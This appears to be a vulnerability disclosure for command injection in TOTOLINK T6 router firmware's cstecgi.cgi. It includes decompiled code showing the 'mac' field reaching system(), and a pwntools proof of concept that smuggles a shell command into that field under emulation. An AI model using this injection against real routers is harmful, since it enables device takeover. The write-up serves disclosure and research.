whiter6666 Update setStaticDhcpRules_1.md History

1 contributor

55 lines (35 sloc) | 810 Bytes

Command Injection

TOTOLINK_T6

version: V4.1.5cu.709_B20210518

Description:

There is a execute arbitrary command in cstecgi.cgi

Source:

you may download it from : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Analyse:

in sub_421504, v6 get from mac

```
  memset(v34, 0, sizeof(v34));
  Var = websGetVar(a1, "addEffect", &word_42C3DC);
  v3 = atoi(Var);
  v4 = websGetVar(a1, "enable", &word_42C3DC);
  v38 = atoi(v4);
  v5 = websGetVar(a1, "desc", &byte_42D408);
  v6 = websGetVar(a1, "mac", &byte_42D408);
  v7 = websGetVar(a1, "ip", &byte_42D408);
  v8 = websGetVar(a1, "arpEnable", &word_42C3DC);
  v39[0] = atoi(v8);
  if ( !v3 )
  {
    apmib_set(292, &v38);
LABEL_32:
    apmib_update(4);
    RunSysCmd(0, (int)"lktos_reload", (int)"reservedIP", (int)&byte_42D408);
    goto LABEL_33;
  }
  if ( v3 == 1 )
  {
    v31 = 0;
    memset(v32, 0, sizeof(v32));
    v33 = 0;
    if ( v5 )
      strcpy((char *)&v32[1] + 2, v5);
    if ( inet_aton(v7, &v35) )
      v31 = v35;
    if ( sub_42656C(v6) )
    {
      if ( v6 )
      {
        v9 = strtok(v6, ":");
```

finally pass to v29 and execute

```
    apmib_set(292, &v38);
LABEL_32:
    apmib_update(4);
    RunSysCmd(0, (int)"lktos_reload", (int)"reservedIP", (int)&byte_42D408);
    goto LABEL_33;
  }
  if ( v3 == 1 )
  {
    v31 = 0;
    memset(v32, 0, sizeof(v32));
    v33 = 0;
    if ( v5 )
      strcpy((char *)&v32[1] + 2, v5);
    if ( inet_aton(v7, &v35) )
      v31 = v35;
    if ( sub_42656C(v6) )
    {
      if ( v6 )
      {
        v9 = strtok(v6, ":");
        if ( !v9 )
          goto LABEL_33;
        do
        {
          strcat(&v21, v9);
          v9 = strtok(0, ":");
        }
        while ( v9 );
        sprintf(v29, "echo %s >/tmp/staticDhcpClient", (const char *)&v21);
        system(v29);
        sub_426F3C(&v21, v32, 12);
        v21 = 0;
```

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setStaticDhcpRules",
    "addEffect": "1",
    "mac": " ;ls > /tmp/1;:  "
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
```

```
    "-E", "REMOTE_ADDR=192.168.0.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```